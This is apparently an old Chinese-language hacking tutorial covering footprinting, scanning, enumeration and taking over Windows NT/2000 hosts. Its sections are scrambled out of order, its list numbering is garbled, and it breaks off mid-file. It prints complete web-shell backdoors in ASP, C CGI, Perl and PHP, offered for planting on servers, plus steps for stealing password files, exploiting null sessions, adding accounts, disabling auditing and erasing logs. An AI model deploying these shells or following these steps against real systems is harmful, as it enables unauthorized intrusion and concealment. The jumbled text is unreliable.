2、控制台（物理接触）攻击9X：其实这一点我都不知道是不是应该算这篇文章的讨论范围，不过这在我们讨论网络安全方面来说还是很重要的，还是简要的讨论讨论吧。首先如果主机设置了屏幕保护程序，99％的人都会毫不犹豫的按一下Reset键，接下来就没有什么好做了，不过我觉得现在有一篇文章很好，具体名字我忘了，说的就是通过局域网通过IP冲突巧妙的绕过屏幕保护密码。而且还有一个方法就是在一个有光驱的计算机放入一张能自动运行的光盘，这样也能绕过屏幕保护的限制。这里有一篇Microsoft知识库编号为Q141059的文章详细介绍了CD-ROM的Autorun问题：Windows polls repeatedly to detect if a CD-ROM has been inserted.When a CD-ROM is detected,the volume is checked for an Autorun.inf file.If the volume contains an Autorun.inf file,programs listed on the ‘open=’ line in the file are run.（Windows反复轮询以检测是否插入了一个CD-ROM，当检测到一个CD-ROM时，就检查其上是否有一个名为Autorun.inf的文件。如果存在这个文件，就自动运行列在其中的‘open=’行上的程序）
另外还有一些漏洞，比如破解密码。Copy c:\windows\*.pwl a:\ 你就可以拿回自己的电脑上，用pwlview一眼就看出用户名和密码哟。如果主机是一个拨号上网用户，有可能还有拨号帐户和密码哟。
第五章：攻击Windows NT/2000
现在说起Windwos NT/2000与LINXU/UNIX安全性比较，很多人都会认为Windows的安全性能赶不上LINUX/UNIX的安全性，其实对于有一定见解的人看来，NT的安全性已经接近任何UNIX类型的系统了，有的地方也许比他们更好，原因如下：
? NT/2000不? 提供在服? 务器的处理器空间远程运行代码的固有能力：从客户机启动的任何可执行程序加载到本客户机的CPU和内存中。
? NT/2000服? 务器（非工作站）控制台的交互登陆权力缺省只局限于几个管理性帐号，? 除非攻击者攻破了这些帐号，? 否则他们仍然不? 为人知。绕开这些障碍确实存在，? 不? 过需要满足多个条件。
? Microsoft基本上限制了访问NT/2000源代码的可能，? 使的在NT/2000远程缓冲区溢出比UNIX系列操作系统更加困难。
不过说了这么多，并不是NT/2000没有很多缺陷，只是NT/2000运用的一些协议和加密算法使的出现了比较多得漏洞。NT/2000继续依赖NetBIOS/CIFS/SMB联网协议以及加密用户密码仍旧用陈旧的Lan Manager算法。这样使的破解NT/2000密码变得比较容易，一般常用LC3来破解密码文件sam。
1、 得到Administrator帐号：攻击者如果不2、 用Adminsitrator帐号，3、 几乎什么事情都做不4、 了，5、 不6、 过这里也不7、 能完全肯定，8、 比如利用IIS的Unicode漏洞就可达到黑主页的目的，9、 具体看需要做什么了。
通过第二章的讲解，一般都可以通过扫描器扫描到很多帐号，而且一般扫描器都自身带有破解比较弱智密码的功能。其实这个过程很多攻击者并不了解，我想通过对下面Evgenii Rudnyi编写的sid2user /user2sid两个工具的介绍，你就能更加了解扫描帐号的一些方法了。
首先，利用sid2user查看SID（security identifier安全标识符），得到一些安全标识符的ID后，然后就可以通过user2sid找到相应的安全标识符ID的用户名了。
C:\>user2sid \\192.168.202.34 “domain users”
S-1-5-21-8915387-1645822062-1819828000-513
Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
这些信息对我们最有用的莫过于第一行的最后一组字符513了，它就是相对标识符（relative identifier,简称RID），对于像Administrator或Guest之类的内置用户和用户组，它是预先定义的。比如说，Administrator用户的RID总是500，Guest用户的RID总是501。知道了某个域的SID后，我们就可以利用user2sid查找出相应的用户名了。
C:\>sid2user \\192.168.202.34 5 21 8915387 1645822062 1819828000 500
Name is japleak
Domain is WINDOWSNT
Type of SID is SidTypeUser
注意，使用sid2user时省略了S-1和各组数字之间的短划线，一旦有了用户名japleak，就可以利用一些暴力破解密码了。
其实上面的方法虽然显得比较笨拙，不过那只是一种思维，我们希望的道管理员帐号和密码，很多人都喜欢利用软件自动猜测。比如用Letmein来破解密码，效率特别高，由于篇幅有限，具体使用方法参考Letmein的帮助吧。
得到Administrator权限的方法还有很多，比如说利用Unicode漏洞下载sam通过L0pht一个国外黑客组织的LC3导入密码文件，可以在短短几个小时破解出60％的一般密码。
另外，一种得到Administrator权限的方法也可以是通过缓冲区溢出，比如用的较多的null.idq、null.ida和null.printer都可以通过一串指定的代码溢出缓冲区，达到Administrator权限的shell，然后再通过net user username password /add添加用户。
当然还可以利用一个权限不高的用户名，在主机上创建一个后门，得到Administrator权限。比如你申请一个免费的ASP空间或者PHP空间，你就可以编写一个ASP木马或PHP木马，在服务器上运行代码，获得Administrator权限，下面把这常见的网页木马源代码公布如下：
ASP木马for WINDOWS NT/2000：
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
ASP木马for WIN9X：
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("command /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
用C实现的CGI木马（gcc -o cmd cmd.c —chown root.root cmd—chmod 475 cmd 把编译好的 cmd 文件放到 cgi-bin 目录下，在 apache 1.3.4 上测试通过）：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TITLE "Cmder"
char x2c(char *what);
int header();
int footer();
int
main() {
FILE *out;
char *qs = (char *)malloc(256);
int x = 0, i = 0, c = 0, f = 0;
qs = getenv("QUERY_STRING");
if (qs != NULL) {
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
}
qs[x] = '\0';
for (x = 0; qs[x]; x++) {
if (qs[x] == '+') {
qs[x] = ' ';
}
}
header(qs);
out = popen(qs, "r");
if (out != NULL) {
while (c != EOF) {
c = fgetc(out);
if (c != EOF && c != '\0') {
printf("%c", (char) c);
f++;
}
}
pclose(out);
}
if (f == 0 && strcmp(qs, "") != 0)
printf("gH: %s: command not found\n", qs);
}
footer();
return(0);
}
char x2c(char *what)
{
register char digit;
digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
return (digit);
}
int
header(char *qs) {
printf("Content-type: text/html\n\n");
printf("<html>\n<head><title>%s</title></head>\n", TITLE);
printf("<body bgcolor=\"#ffffff\">\n");
printf("<dir>");
printf("<ISINDEX prompt=\"CMD:> \">\n");
printf("<br>CMD:> %s\n", qs);
printf("<br><pre>\n");
}
int
footer() {
printf("</pre>\n</dir>\n</body></html>\n");
}
用PERL实现的CGI木马：
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
用PHP实现的PHP木马：
<title>PHP Shell</title>
</head>
<body>
<h1>PHP Shell</h1>
<?php
/* First we check if there has been asked for a working directory. */
if (isset($work_dir)) {/* A workdir has been asked for - we chdir to that dir. */
chdir($work_dir);
$work_dir = exec("pwd");
}
else {/* No work_dir - we chdir to $DOCUMENT_ROOT */
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "")
{
$work_dir = "/"; /* Root directory. */
}
else {
for ($i = 0; $i < count($work_dir_splitted); $i++)
{
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?>
</b>
</p>
<p>Choose new working directory:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle))
{
if (is_dir($dir))
{
if ($dir == ".")
{
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
}
elseif ($dir == "..")
{
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */
if (strlen($work_dir) == 1)
{
/* work_dir is only 1 charecter - it can only be / */
}
elseif (strrpos($work_dir, "/") == 0)
{
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
}
else {
/* We do a little bit of string-manipulation to find the parent
directory... Trust me - it works :-) */
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
}
}
else {
if ($work_dir == "/")
{
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
}
else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select>
<p>Command:</p>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?> >
<input name="submit_btn" type="submit" value="Execute Command"></p>
<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
<p>Output:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
system($command . " 1> /tmp/output.txt 2>&1;
cat /tmp/output.txt; rm /tmp/output.txt");
}
else {
system($command);
}
}
?>
</textarea>
</form>
<hr>
<i>Copyright &copy; 2000, <a
href="mailto:gimpster@gimpster.com">Martin Geisler</a>. Get the latest
version at <a href="http://www.gimpster.com">www.gimpster.com</a>.</i>
</body>
</html>
特洛伊木马也对主机系统安全具有很大的危险性，只要能写入主机某个目录，并能通过方法运行，就可以完全控制主机了。当然这样也就拥有了Administrator权限了，甚至在某种意义上说，一些方面可能比Administrator权限高，比如说某些注册表键值对于Administrator也是不可读的，如密码信息。
再就是通过finger获得重要信息：finger服务一般是为了方便网络管理员查看网络运行状况的服务，不过在黑客利用这一点来，可以查看到一些重要信息，有的用户名和密码在网络上明文传输，稍不留意就可能得到管理员帐号和密码。网络传输信息，其实是一个广播过程，发送数据的主机发送一个广播地址给域内的所有主机，等待一个特定IP的主机回应，然后特定主机才发送一个相应信息，进行通讯。不过这样，虽然网络内其他主机不能接受主机发出的信息，但是他也可以接受到这个信息，然后利用finger服务查看两台主机之间进行的传输数据。
发掘信任漏洞是一种比较高级的技术：对凯文·米特尼克有一定了解的朋友可能都知道他在圣诞节晚上通过一台主机与另一台不很重要的主机的信任关系，通过首先占领另一台不太重要的主机，最终根据权限比较高，成功攻克了一个大型站点。这其实是一种岛跳关系，而不是一般入侵者用的肉鸡做跳板的类型。具体实现方法我也不是很了解，希望对此有经验的朋友不惜赐教。
最后是通过拒绝服务器攻击可能获得Administrator权限：有的网络设备或软件受到拒绝服务的大量数据包攻击，来不及处理得到的信息，就会出现暂时的“罢工”状态，一些设置暂时恢复到初始状态。比如说CISCO路由器如果受到DoS攻击，就可能出现暂时恢复到默认状态，这样就可以通过默认的用户名Admin和密码Admin进入路由器，下载密码文件，利用软件破解。
10、 巩固权限：巩固权限的方法也是也类似得到Administrator权限的方法，11、 比如破
解sam，并成功的擦除主机上你的登陆日志。这样你就可以得到一个永久的用户名和密码的合法帐号（如果管理员不是勤于修改密码的话）。
留后门的方法很多，可以将一些后门程序放在很多地方，而且让他们在重新启动计算机时一起执行。我记得网络上有一篇文章叫做《系统启动自动运行程序的十种方法》写得很好，对于一些后门程序可以做参考。也可以利用WINDOWS NT/2000的Schedule（at）指令指定在某个时间运行（如果系统关闭了Schedule，可以通过WINDOWS NT/2000光盘中Suport目录下的sc命令打开）。
另外通过开放主机的某个特定端口，通过特定的方法与主机进行连接。对于缺乏较强网络知识的管理员，大多不能确定哪个端口开放什么服务，对于一些开放的端口也不敢轻易关闭，这就跟了攻击者可乘之机。比如说常用的nc99，就是在你的主机上悄悄开放一个端口99，如果你了解，就可以直接telnet到那个端口。可是现在很多管理员却都不知道，也不知道应该怎么办。真是遗憾！
12、 掩盖踪迹：入侵者一旦成功地取得某个系统的Administrator帐号，13、 他们就会把力量集中在避免自己地行踪被检测地目标14、 上。一般他们可以用下面地几种方法掩盖：
? 禁止审计：如果目标? 系统管理员地安全意识不? 强，? 不? 懂的使用审计功能。然而? 审计功能会降低服? 务器的性能，? 特别是关于用户合用户组管理种的成功事件之类的功能单元成功时。因此大多数系统管理员要么不? 审计，? 要么只审计很少的几个项目。对于入侵者来说，? 他们最重要的事情就是检查目标? 系统审计策略的状态，? 害怕自己的行为万? 一被监视着。在WINDOWS NT/2000系统盘中存在一个工具叫做auditpol，? 它可以在shell下轻易的关闭审计功能。使用方法如下：
C:\>郑重声明：本文主要结合一些书籍和网络上的一些相关文章加上我个人的一些经验知识写成，未经本人许可，严禁作为商业用途，否则追究法律责任！
一旦有人提起“黑客”两个字，就会有大部分的人觉得很神秘。确实，对于许多像我们一样的年轻人都希望自己是很进入很多重要机构的超级黑客，不过黑客都需要很深入的学习编程技术，不管是哪种，只要学习精通了，就可以作为一个黑客的基础了。当然，本文主要探讨的不是编程，而是如何学习网络安全方面的技术。
根据我个人的了解，现在国内的绝大部分红客都是依靠自己了解的一些漏洞或其他一些方面的知识进入主机达到黑站点的目的，其实我觉得这样的态度错误了。我不赞成黑站点，我希望的是拿“进入主机”的目标作为自己学习的动力。可是现在网络上真正比较全面的讲解网络安全方面的知识也不太系统，由于我看了一些相关的书，觉得有一些讲解的比较系统，我现在把它总结出来供大家学习时候参考。
首先，要掌握网络安全技术，必需要掌握网络技术（我也没有怎么掌握），至少应该知道网络和TCP/IP协议的一些基本的知识、了解防火墙的结构与原理、了解加密技术、能利用数字签名证实消息源、掌握超文本传输协议及安全超文本传输协议、懂得利用SSL（Secure Socker Layer，安全套接层）安全的传递信息、鉴别和防御黑客入侵、JAVA/CGI的安全性能、预防病毒等等。这些都是比较高级的技术，我对此也不是十分了解，也希望以后能更各位朋友多多学习、探讨，把我们的网络加固的更加安全。现在我把我的一些关于入侵的思维结合一本书的内容些给大家，希望对大家在网络安全方面上有更深一层的了解，同时也为了促进我自身的提高：
第一章：网络踩点
网络踩点就是通过结合使用工具和技巧，攻击者能够由一个未知量规约出域名、网络块以及直接连接到互联网上的系统的个别IP地址的一个特定范围的方法。
对于一个真正的黑客，如果想进入一个主机，他会不择手段的探索这个主机的信息，而不是局限于现在大多数入侵者扫描主机得到主机信息之上。他会从各方面分析该主机的情况，比如主机地理位置可能使用的操作系统、根据主机的重要程度推测管理员的水平，然后推测可能会出现什么失误的网络配置，具体我总结出来有以下几个方面：
1、 仔细查看目标2、 机构的网页：真正希3、 望入侵这台主机，4、 就需要收集尽可能多的主机上机构的信息，5、 这其中可能有：
? 机构所在位置
? 与其关系亲密的公司或实体
? 公司兼并或归靠的新闻报道
? 电话号码
? 联系人姓名? 和电子邮件地址
? 指? 示所用安全机制的类型的隐私和机密保障策略
? 与其相关联的Web服? 务器超链接
关于这些方面的利用将在下面的各章节中利用，请勿必注意！
6、 阅读HTML源代码：这一点在很多入侵者忽略了，7、 其实是很重要的，8、 可以了解整个主页真正在你的计算机上能做到什么东西。真正一个好的主页，9、 为了方便其他网页编程员更方便的读懂网页，同10、 时也加了很多注释。比如说现在流行的万11、 花谷网页病毒，12、 它主要通过修改注册表达到破坏的目的，13、 为了尽快的恢复14、 回来，15、 你就可以研究它本身的源代码，16、 摸着石头过河，17、 把一些内容修改回来。说到注释问题，18、 一般注释都在“<!-->”之间，19、 可能存放的信息是私用电子邮件地址，20、 电话号码等，21、 这在以后的拨号攻击中相当重要。
22、 搜索公开信息源找出与目标23、 机构关联的信息：了解与机构相连接的主机也是很重要的一个方面，24、 由于各个主机之间的权限不同，25、 但是未必同26、 一个机构的各个主机具有相同27、 的安全性，28、 你就可以通过先得到一个安全性较差主机的权限，29、 再利用它作为跳板，30、 到达进入主机的目的。凯文·米特尼克就曾经用这样的方法成功入侵过！
31、 阅读机构工作人员的技术水平：如果能从多方面了解管理员的技术水平也是成功进入主机的关键，32、 尽可能看这个管理员张贴的文章，33、 你就可以了解管理员熟悉什么、不34、 熟悉什么，35、 由此可能会出现什么错误的配置，36、 这在入侵时打好了基础，37、 至少你能大体知道进入主机后是否有必要删除日志文件等。
38、 机构本身的查询：一旦标39、 识出一个特定的机构或实体，40、 就可以进行InterNIC数据库查询了，41、 这样能发现与之类似的域名，42、 找到真正的网络，43、 直到发现一个真正工作着的网络为止。下面我们以Acme Networks（极点网络公司）一个例子说明这点，44、 在某个UNIX或LINUX的SHELL下执行查询：
[japleak@root]$ whois “Acme Networks”
[rs.internic.net]
Acme Networks (NAUTILUS-AZ-DOM) NAUTILUS-NJ.COM
Acme Networks (WINDOWS4-DOM) WINDOWS.NET
Acme Networks (BURNER-DOM) BURNET.COM
Acme Networks (ACME2-DOM) ACME.NET
Acme Networks (Y2MAN-DOM) Y2MAN.COM
……
看见了吧？与此相关联的域名有很多，现在就要发现那个是真正的网络，哪个是真正工作着的网络呢？这就要从中实践，总不可能你去寻找一个不存在的网络吧？
45、 机构域名46、 查询：作为一个机构要上互联网就必须去登记，47、 所以登记的地方就必然有它的一些资料，48、 建议去http://www.nic.com/进行查询，49、 为了方便说明，50、 这里同51、 样也用shell查询：
[japleak@root]$ whois Acme.net
[rs.internic.net]
Registrant:
Acme Networks (ACME2-DOM)
11 Town Center Ave.
Einstein,AZ 21098
Domain Name:ACME.NET
Administrative Contact,Technical Contact,Zone Contact:
Boyd,Woody [Networks Engineer] (WB9201) woody@ACME.NET
201-555-9011 (201)555-3338 (FAX)201-555-1212
Record last updated on 13-Sep-95
Record created on 13-May-95
Database last update on 04-Mar-02 23:20:14 EDT
Domain servers in listed order:
DNS.ACME.NET 10.10.10.1
DNS2.ACME.NET 10.10.10.2
上面的E文我就不用解释了吧？通过这样查询就可以的到如下信息：
? 注册人
? 域名?
? 管理方面联系人
? 记录创建时间和更新时间
? 域名? 系统（DNS）服? 务器
52、 网络勘查：既然已经标53、 识了已知的网络，54、 就需要对网络内部进行一定的勘查，55、 看看网络
速度、是否存在防火墙等等，下面我们还是用常用的WINDOWS下的tracert追踪路由，查看整个网络的拓扑：
C:\>tracert Acme.net
Tracert to Acme.net (10.10.10.1),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (10.10.10.1) 43.803ms 44.041ms 47.835ms
由上可以看见本地到主机需要经过5跳，中间没有UDP分组的丢失，因此可以看出第四跳很可能是主机Acme.net的路由设备，这样可以对整个网络之间有一个大体的了解。
如果存在防火墙又怎么知道呢？下面还是用一个例子说明吧：
C:\>tracert 10.10.10.2
Tracert to (10.10.10.2),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 * * *
6 * * *
可以看出，缺省的UDP分组被防火墙拦截了。可能此时有人会说ping也可以做到这一点，如果出现超时(Request Time Out)提示，也是因为防火墙的原因，不过我要说：不能确定！因为ping发送的是一个ICMP分组，可以通过主机的响应判断网络状况，如果安装了防火墙，可以过滤掉ICMP分组。不过，如果对方是WINDOWS系统，也可以很方便的修改注册表来过滤掉ICMP分组，让攻击者误认为是存在防火墙！其实修改注册表的方法也是避免DoS（拒绝服务攻击）的一种有效方法。
第二章：扫描
1、 网络PING查询：要映射出真正的网络是否存在，2、 就需要对网络是否工作着一定了解。传统意义上，3、 PING用于向某个目标4、 系统发送ICMP回射请求（echo request）分组（ICMP类型为8），5、 并期待由此改发的表明目标6、 系统存活着的ICMP回射应答（echo reply）分组（ICMP类型为0）。不7、 过用这样的方法在整个网络中扫描的时间太长，8、 这里推荐使用UNIX下的fping和gping，9、 两者可以联系运用，10、 达到探测网络是否存活的目的。
[japleak@root]$gping 192.168.0.1 254
192.168.0.1
192.168.0.2
192.168.0.3
……
192.168.0.253
192.168.0.254
192.168.0.255
这样我们就得到网络上潜在的所有IP地址构成的列表后，我们就可以尝试探测那些系统存活着了。
[japleak@root]$gping 192.168.0.1 254|fping -a
192.168.0.254 is alive
192.168.0.224 is alive
192.168.0.228 is alive
……
192.168.0.3 is alive
192.168.0.2 is alive
192.168.0.4 is alive
192.168.0.1 is alive
11、 端口扫描：端口扫描就是连接到目标12、 系统的TCP和UDP端口上，13、 确定哪些服14、 务正在运行即处于监听状态过程。通过扫描我们希15、 望达到以下的目的：
? 标? 识运行在目标? 系统上的TCP服? 务和UDP服? 务
? 标? 识目标? 系统的操作系统类型
? 标? 识特定的应用或特定服? 务的版本
? 标? 识目标? 系统存在的漏洞或缺陷
TCP连接一般分为三路握手过程：（1）客户机发送一个SYN分组给服务器；（2）服务器接受分组后，向客户机发送一个SYN/ACK分组，表示服务器接受这个连接；（3）最后客户机再发出一个ACK分组进行通信。
在扫描器中，国内用的最多的莫过于小榕的流光，因此这里我就不用在介绍了，具体用法可以参考流光的使用说明。现在我们就针对国外经久不衰的一个扫描器NAMP进行讨论。
由Fyodor编写的nmap提供了基本的TCP和UDP扫描的能力，集成了多种扫描器的技巧，很少以单个软件包提供如此之多用处的工具。下面介绍它的一些特写下说明：
[japleak@root]$ nmap -h
nmap v.2.12 usage;namp [Scan Type(s)] [Options] <host or net # 1 …[# N]>Scan types
-sT tcp connect () port scan -sS tcp SYN stealth port scan (must be root) -sF,-sX,-sN Stealth FIN,Xmas,or Null scan (only works against UNIX).-sP ping “scan”.Find which hosts on specified network(s) are up but don’t port scan them -sU UDP port scan,must be root -b <ftp_relay_host> ftp “bounce attack” port scan Options (none are required,most can be combined):
-f use tiny fragmentd packets for SYN,FIN,Xmas,or NULL scan.
-P0 Don’t ping hosts(needed to scan www.microsoft.com and others)
-PT Use “TCP Ping”to see what hosts are up (for normal and ping scans).-PT21 Use “TCP Ping”scan with probe destination port of 21 (or whatever).-PI Use ICMP ping packer to determianes hosts that are up -PB Do BOTH TCP&ICMP scans in parallel (TCP dest port can be specified after the ‘B’) -PS Use TCP SYN sweep rather than the default ACK sweep used in “TCP Ping” -O Use TCP/IP fingerprinting to guess what OS the remote host is running -P <range> ports:
ex:’-p 23’ will only try port 23 of the host(s) ‘-p 20-30,63000-’ scan 20-30 and 63000-65535.default:1-1024 +ect/services
-Ddecoy_host1,decoy2,ME,decoy3 [,…]Launch scans from decoy host(s) along with the real one.If you care about the order your real IP appears,stick “ME” somewhere in the list.Even if the target detects the scan,they are unlikely to know whick IP is scaning them and which are decoys.
-F fast scan.Only scans ports in /etc/services,a la strobe(1).-l Get idented (RFC 1413) info on listening TCP procsses.-n Don’t DNS resolve anything unless we have to (makes ping scan faster) -R Try to resolve all hosts,even down ones (can take a lot of time) -o <logfile> Output scan logs to <logfile> in human readable.-m <logfile>Output scan logs to <logfile> in machine parseable format.-i<inputfile> Grab IP numbers or hostnames from file.Use ‘-’ for stdin
-g <portnumber> Sets the source port used for scans.20 and 53 are good choices.-S <your_IP> If you want to specify the source address of SYN of FYN scan.-v Verbose.Its use is recommended.Use twice for greater effect.-h help,print this junk.Also see http://www.insecure.org/nmap/ -V Print version number and exit.-e <devicename>.Send packets on interface <devicename> (eth0,ppp0,etc.).-q quash argv to something benign,currently set to “pine”.(deprecated)
Hostnames specified as internet hostname or IP address,Optional ‘/mask’ specifiles subnet,For example:cert.org /24 or 192.88.209.5/24 or 192.88.209.0-255 or ‘128.88.209.*’ all scan CERT’s Class C.
看过标准的TCP端口扫描结果了，现面我们用隐身扫描SYN方法扫描。SYN扫描并不建立到目标系统的完整连接，因此被目标系统检测到的机会比较小。
[japleak@root]$nmap -sS 192.168.1.1
Starting nmap v.2.12 by Fyodor (fyodor@dhp.com ,www.insecure.org/nmap/)
Interesting ports on (192.168.1.1)
Port State Protocol Service
21 open tcp ftp
25 open tcp smtp
42 open tcp nameserver
53 open tcp domain
79 open tcp finger
80 open tcp http
81 open tcp hosts2-ns
106 open tcp pop3pw
110 open tcp pop-3
135 open tcp loc-srv
139 open tcp netbios-ssn
443 open tcp https
这样就可以看见主机开放了哪些端口，端口所用的协议，服务类型等，具体使用，清参考上面的帮助。
这里有一个技巧：当139号和135号端口打开时，目标操作系统是Windows NT/2000的可能性很大。Windwos NT/2000通常同时监听135和139号端口，而Windows 9x一般只监听139端口。
第三章：查点
1、 indows NT/2000查点：Windows设计时为了方便资源的查询，2、 因此整个域和系统查点非常简单。Net view就是一个很说明问题的例子，3、 首先查点网络上的域：
C:\>net view /domain
Domain
----------------------------------------
CORLEONE
BARZINI_DOMAIN
TATAGGLIA_DOMAIN
BARZZI
The command completed successfully.
接着列出某个特定域内的计算机；
C:\>net view /domain:corleone
Server Name Remark
-------------------------------------------------------
\\VITO Make him an offer he can’t refuse
\\MICHAEL Nothing personal
\\SONNY Badda bing badda boom
\\FREDO I’m smart
\\CONNIE Don’t forget the canoli
然后就开始查询NT域控制器，在NT/2000的安装光盘中有一个工具叫做nltest，主要是用来表示主域控制器和备份域控制器的：
C:\>nltest /dclist:corleone
List of DCs in Domain corleone
\\VITO (PDC)
\\MICHAEL
\\SONNY
The command completed successfully
我们就可以从上面的输出知道目标的主域控制器(Primary Domain Controller)为VITO。
微软在出Windows NT/2000中存在一个败笔，就是叫做“红色按钮”的脆弱点、空会话的连接，允许匿名登陆主机，这样无疑给攻击者提供了一个好的立足点：
net use \\192.168.202.33\IPC$ “”/user:””
这样建立了空会话后，我们就可以利用netbios共享中net view查看主机上存在的共享资源：
C:\>net view \\vito
Shared resources at \\192.168.7.45
VITO
Share name Type Used as Comment
----------------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk Public access
The command completed successfully
因此这样就存在着暴露共享资源的危险，具体怎么利用，相信很多对网络安全知识有一定了解的朋友都知道怎么做。这里就顺便介绍一下利用139端口入侵的一些方法吧：
首先利用WINDOWS自带的工具nbtstat查出主机上的用户名
C:\>nbtstat -A 192.168.202.33
NetBios Remote Machine Name Table
Name Type Status
---------------------------------------------------------------------------
SANTINO <20>UNIQUE Registered
SANTINO <00>UNIQUE Registered
INTERNET <20>GROUP Registered
SANTINO <03>UNIQUE Registered
INTERNET <1E>GROUP Registered
SANTINO <20>UNIQUE Registered
ADMINISTRATOR <03>UNIQUE Registered
INTERNET <1D>UNIQUE Registered
..__MSBROWSE__.. <01>GROUP Registered
MAC Address=00-C0-4F-86-80-05
相信大家都看见第一行第一列的SANTINO了吧？这就是主机的名字，我们现在就要利用这个名字。在WINDOWS的系统目录下有一个Lmhosts.sam有以下内容：
# Copyright (c) 1998 Microsoft Corp.
#
# This is a sample LMHOSTS file used by the Microsoft Wins Client (NetBios
# over TCP/IP) stack for Windows98
#
# This file contains the mappings of IP addresses to NT computernames
# (NetBIOS) names. Each entry should be kept on an individual line.
# The IP address should be placed in the first column followed by the
# corresponding computername. The address and the comptername
# should be separated by at least one space or tab. The "#" character
# is generally used to denote the start of a comment (see the exceptions
# below).
#
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP lmhosts
# files and offers the following extensions:
#
# #PRE
# #DOM:<domain>
# #INCLUDE <filename>
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in the file with the characters "#PRE" will cause
# the entry to be preloaded into the name cache. By default, entries are
